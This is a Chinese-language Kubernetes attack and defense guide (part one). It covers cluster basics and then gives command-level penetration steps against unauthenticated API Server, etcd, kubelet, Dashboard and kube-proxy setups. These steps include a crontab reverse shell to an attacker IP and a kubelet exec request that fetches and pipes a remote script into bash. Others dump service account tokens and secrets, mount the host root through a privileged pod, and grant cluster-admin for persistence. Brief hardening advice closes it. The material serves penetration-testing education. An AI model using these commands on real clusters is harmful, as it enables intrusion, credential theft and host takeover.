K8s集群安全攻防(上)
字数 1546 2025-08-20 18:17:47
Kubernetes集群安全攻防指南(上)
一、Kubernetes基础概念
1. 容器(Container)
- 轻量级操作系统级虚拟化技术
- 使用namespace隔离不同运行环境
- 通过镜像自包含软件运行环境
- 体积小、启动快,实现开发到生产环境的一致性
2. Pod
- Kubernetes管理的基本单位
- 每个Pod可包含一个或多个紧密关联的容器
- 共享PID、IPC、Network和UTS Namespace
- 示例YAML定义:
apiVersion: v1
kind: Pod
metadata:
name: nginx
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx
ports:
- containerPort: 80
3. Node
- Pod实际运行的主机(物理机或虚拟机)
- 每个Node至少运行:
- Container Runtime(如docker/rkt)
- Kubelet
- Kube-proxy服务
4. Namespace
- 资源和对象的抽象集合
- 用于划分不同项目组或用户组
- 默认namespace为"default"
5. Service
- 应用服务的抽象
- 通过labels提供负载均衡和服务发现
- 示例YAML定义:
apiVersion: v1
kind: Service
metadata:
name: nginx
spec:
ports:
- port: 8078
name: http
targetPort: 80
protocol: TCP
selector:
app: nginx
二、Kubernetes架构
1. 架构来源
- 源自Google的Borg系统
- 核心组件:
- BorgMaster:集群大脑
- Borglet:运行任务
- Borgcfg:命令行工具
- Scheduler:任务调度
2. Kubernetes核心组件
| 组件 | 功能描述 |
|---|---|
| etcd | 保存整个集群状态 |
| apiserver | 资源操作唯一入口,提供认证授权等机制 |
| controller manager | 维护集群状态(故障检测、自动扩展等) |
| scheduler | 资源调度,按策略分配Pod到机器 |
| kubelet | 维护容器生命周期,管理Volume和网络 |
| Container runtime | 镜像管理及Pod/容器运行 |
| kube-proxy | 为Service提供内部服务发现和负载均衡 |
3. 关键组件默认端口
(原文中未明确列出具体端口,需补充)
三、渗透测试路径
1. 信息收集
环境检测
env | grep KUBERNETES
ls -al / # 检查.dockerenv文件存在
内核版本
kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'
2. Token利用
Service Account Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Secrets泄露
./cdk run k8s-secret-dump auto
3. 安全策略检查
./cdk run k8s-psp-dump auto
4. 网络发现
- Flannel默认网络:10.244.0.0/16
- Calico默认网络:192.168.0.0/16
四、常见漏洞利用
1. API Server未授权访问
检测方法
访问:
http://ip:port/
https://ip:6443/
利用方法
- 获取节点信息:
kubectl -s ip:port get nodes
- 创建特权Pod(挂载宿主机根目录):
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
- 通过挂载目录写入计划任务反弹shell:
echo -e "* * * * * root bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n" >> /mnt/etc/crontab
2. ETCD未授权访问
检测接口
https://IP:2379/version
https://IP:2379/v2/keys
利用方法
- 设置API版本:
export ETCDCTL_API=3
- 查看集群Secret:
etcdctl get / --prefix --keys-only | grep /secrets/
- 读取敏感信息:
etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c
3. Kubelet未授权访问
检测方法
访问:
https://ip:10250/pods
利用方法
- 执行命令:
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=ls -la /"
- 获取Token:
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
- 反弹shell:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1"
4. Dashboard未授权访问
利用方法
- 通过Web UI创建特权Pod(同上API Server利用方法)
- 挂载宿主机目录写入计划任务
5. kube-proxy配置错误
利用方法
- 启动代理:
kubectl proxy --port=8080 --address=192.168.17.144 --api-prefix=/ --disable-filter=true
- 通过代理访问API:
kubectl -s 192.168.17.144:8080 get nodes
五、权限提升与持久化
1. Dashboard权限配置
- 创建管理员用户:
kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard
- 绑定集群管理员角色:
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin
- 获取Token:
kubectl get sa,secrets -n kubernetes-dashboard
kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll
- 生成kubeconfig文件:
DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token} | base64 -d)
kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf
六、防御建议
- 启用API Server认证授权
- 限制ETCD访问(启用TLS和客户端证书认证)
- 配置Kubelet认证
- 关闭Dashboard的skip-login功能
- 合理配置Pod Security Policies
- 监控异常API请求和容器行为
- 定期轮换Service Account Token
(注:下篇将包含容器逃逸、横向移动、权限维持等高级技巧)